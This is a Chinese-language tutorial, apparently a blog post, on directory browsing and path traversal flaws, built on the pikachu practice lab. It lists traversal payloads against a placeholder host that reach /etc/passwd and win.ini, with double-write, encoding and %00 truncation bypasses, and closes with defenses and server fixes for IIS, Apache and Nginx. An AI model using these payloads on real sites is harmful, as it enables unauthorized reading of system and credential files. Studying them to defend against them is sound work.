原理
目录浏览漏洞是由于网站存在配置缺陷,存在目录可浏览漏洞,这会导致网站很多隐私文件与目录泄露,比如数据库备份文件、配置文件等,攻击者利用该信息可以更容易得到网站权限,导致网站被黑。
通常是攻击者通过访问网站某一目录时,该目录没有默认首页文件或没有正确设置默认首页文件,将会把整个目录结构列出来,将网站结构完全暴露给攻击者; 攻击者可能通过浏览目录结构,访问到某些隐秘文件(如PHPINFO文件、服务器探针文件、网站管理员后台访问地址、数据库连接文件等)
上图就是目录遍历
以pikachu目录遍历靶场为例
漏洞利用
直接使用…/目录穿越
比如:http://www.test.com/index.php?file=image1.jpg,服务器拼接成c://test/static/imgs/image1.jpg
payload:
http://www.test.com/index.php?file=…/imgs/image1.jpg
http://www.test.com/index.php?file=…/…/…/…/windows/win.ini
http://www.test.com/index.php?file=…/…/…/…/windows/win.ini%00.jpg
绝对路径穿越
使用绝对路径,直接获取文件数据。
payload:
http://www.test.com/index.php?file=/etc/passwd
http://www.test.com/index.php?file=/etc/passwd%00.jpg
使用双写绕过
应对防御措施将"…/"替换为空。
payload:
http://www.test.com/index.php?file=…//imgs/image1.jpg
http://www.test.com/index.php?file=…//…//…//…//windows/win.ini
http://www.test.com/index.php?file=…//…//…//…//windows/win.ini%00.jpg
加密型传递的参数
http://www.test.com/index.php?file=aW1hZ2UxLmpwZw== 参数file的数据采用Base64加密,而攻击中只需要将数据进行相应的解密即可入侵,采用一些常见、规律性的加密方式也是不安全的。
编码绕过
采用不同的编码进行过滤型绕过,比如通过对参数进行url编码提交来绕过。 . => %2e / => %2f % => %25(双重编码) 注意:服务器会先进行url解码,再加上get协议本身会进行一次url解码,所以进行两次url编码
目录限定绕过
有些web软件通过限定目录权限来分离,攻击者可以通过某些特定的符号来绕过。 比如:根目录"/“被限定了权限,但是可以通过”~"来进入根目录下的目录。
绕过文件后缀过滤,截断上传
当程序系统设置了后缀名检测的时候,可以通过"%00"截断来绕过。 比如:…/windows/win.ini%00.jpg等价于…/windows/win.ini
在类Unix的系统中也可以使用Url编码的换行符%0a,也可以尝试%20。
加粗样式
防御
输入验证与过滤:对于用户输入的文件路径或文件名,进行严格的输入验证和过滤。检查输入中是否包含特殊字符或路径分隔符,并拒绝包含不可信内容的输入。
使用白名单:对于文件操作,例如读取、写入或执行等,应使用白名单来限制允许访问的文件或目录。只允许访问预先定义的合法路径,而不是依赖黑名单来排除不合法的路径。
安全文件路径处理:在构造文件路径时,避免直接拼接用户提供的输入。建议使用安全的文件路径处理函数或库,这样可以确保所构造的文件路径是合法且安全的。
权限控制:确保文件的访问权限设置正确。仅为需要访问的文件或目录提供最低必要的权限,避免将敏感文件暴露给未授权的用户。
限制访问范围:通过设置 web 服务器或应用程序的配置,限制所访问的根目录或文档根目录,确保用户无法访问系统上的敏感文件或目录。
日志监控与报警:实施完善的日志监控和报警机制,记录和检测潜在的目录遍历攻击行为。及时发现并响应异常行为,以保护系统安全。
安全编程实践:开发人员应遵循安全编程实践,并对用户输入进行充分的验证、过滤和转义。不可信的用户输入应该被视为潜在的目录遍历攻击。
目前存在该漏洞的常见中间件为 Apache 和 IIS,以下列出其相关的修复方式:
IIS 中关闭目录浏览功能:在 IIS 的网站属性中,勾去“目录浏览”选项,重启 IIS。
Apache 中关闭目录浏览功能:打开 Apache 配置文件 httpd.conf,查找“Options Indexes FollowSymLinks”,修改为 “ Options -Indexes FollowSymLinks” (减号表示取消),保存退出,重启Apache。
Nginx 中默认不会开启目录浏览功能,若您发现当前已开启该功能,可以编辑 nginx.conf 文件,删除如下两行:autoindex on;autoindex_exact_size on;,然后重启Nginx。